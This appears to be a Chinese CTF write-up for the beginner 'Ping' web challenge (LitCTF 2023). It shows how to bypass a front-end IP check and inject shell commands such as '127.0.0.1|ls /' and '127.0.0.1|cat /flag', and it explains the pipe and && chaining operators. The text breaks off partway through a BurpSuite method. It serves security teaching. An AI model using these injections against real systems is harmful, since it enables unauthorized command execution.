NSSCTF入门题单[LitCTF 2023]WriteUP-NSSCTF-3873
[LitCTF 2023]这套题是Web方向入门题单,这是我的第22题
- 题单【传送门 (opens new window)】
- 主办方WriteUP【传送门 (opens new window)】
- 主办方WriteUP视频【传送门 (opens new window)】
题目编号 | 题目名称 | 题目方向 | 难度 |
---|---|---|---|
3873 | Ping | Web | 1 |
# 题目22:Ping
# 题目描述:看看能PING出什么
# 考点:前端禁用&命令执行
# 预期解:
进入页面后,我们看到提示Ping一下
我们先尝试ping了一下127.0.0.1,返回了正常ping的结果
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.047 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.055 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.045 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.052 ms
64 bytes from 127.0.0.1: seq=4 ttl=42 time=0.057 ms
64 bytes from 127.0.0.1: seq=5 ttl=42 time=0.060 ms
--- 127.0.0.1 ping statistics ---
6 packets transmitted, 6 packets received, 0% packet loss
round-trip min/avg/max = 0.045/0.052/0.060 ms
2
3
4
5
6
7
8
9
10
我们尝试使用命令拼接,也就是在ip地址后加上 “|” ,提示“敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦”
除此之外,还应该点开F12审查元素,这是我们要养成的良好习惯之一,可以看到这里是在前端做了校验,只能输入数字、点这两种符号,如果违规输入前端就会直接拦截。
<body>
<div class="container">
<h1>试着Ping一下吧</h1>
<script type="text/javascript">
function check_ip(){
let ip = document.getElementById('command').value;
let re = /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/;
if(re.test(ip.trim())){
return true;
}
alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
return false;
}
</script>
<form action="" method="POST" onsubmit="return check_ip()">
<input id="command" name="command" type="text" placeholder="Enter an IP address"/>
<input name="ping" type="submit" value="Ping"/>
</form>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
此时我们有多种方式可以绕过前端的校验
# 方法一:JS禁用
在F12页面点击设置,将JavaScript禁用掉,这种方法是不会影响我们提交的,因为提交是Form表单提交的,和js没有关系,js只是校验它是不是ip地址
在禁用掉js以后,我们重新拼接ip地址和命令,用管道符连接
127.0.0.1|ls /
可以看到flag文件就在根目录,直接输入命令展示flag内容即可看到flag内容
127.0.0.1|cat /flag
这种方法要记得常用的命令拼接方法,比如最常用的是管道符
command1 && command2 先执行 command1,如果为真,再执行 command2
command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1
command1 || command2 先执行 command1,如果为假,再执行 command2
# 方法二:JS Hook
我们在用F12审查元素,审查JS代码,函数名是check_ip
<script type="text/javascript">
function check_ip(){
let ip = document.getElementById('command').value;
let re = /^(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)$/;
if(re.test(ip.trim())){
return true;
}
alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
return false;
}
</script>
2
3
4
5
6
7
8
9
10
11
复制这个函数名,我们到F12开发者工具的Console控制台页面
将check_ip这个函数置为空,其实就是将默认的函数名name和参数params删掉,回车即可
然后同方法一相同,使用管道符在ip地址后拼接命令,即可拿到flag
# 方法三:用HackBar直接提交到后端
我们在审查源码的时候,看到他是POST表单提交,表单的参数名是command,所以我们想到可以直接使用HackBar提交后端的方法,来绕过前端的校验
<form action="" method="POST" onsubmit="return check_ip()">
<input id="command" name="command" type="text" placeholder="Enter an IP address"/>
<input name="ping" type="submit" value="Ping"/>
</form>
2
3
4
发送一个POST请求,form表单参数为
command=127.0.0.1|ls /
同方法一相同,我们使用cat命令即可拿到flag
# 方法四:使用BurpSuite抓包修改
如果有抓包的习惯,可以使用BurpSuite抓包,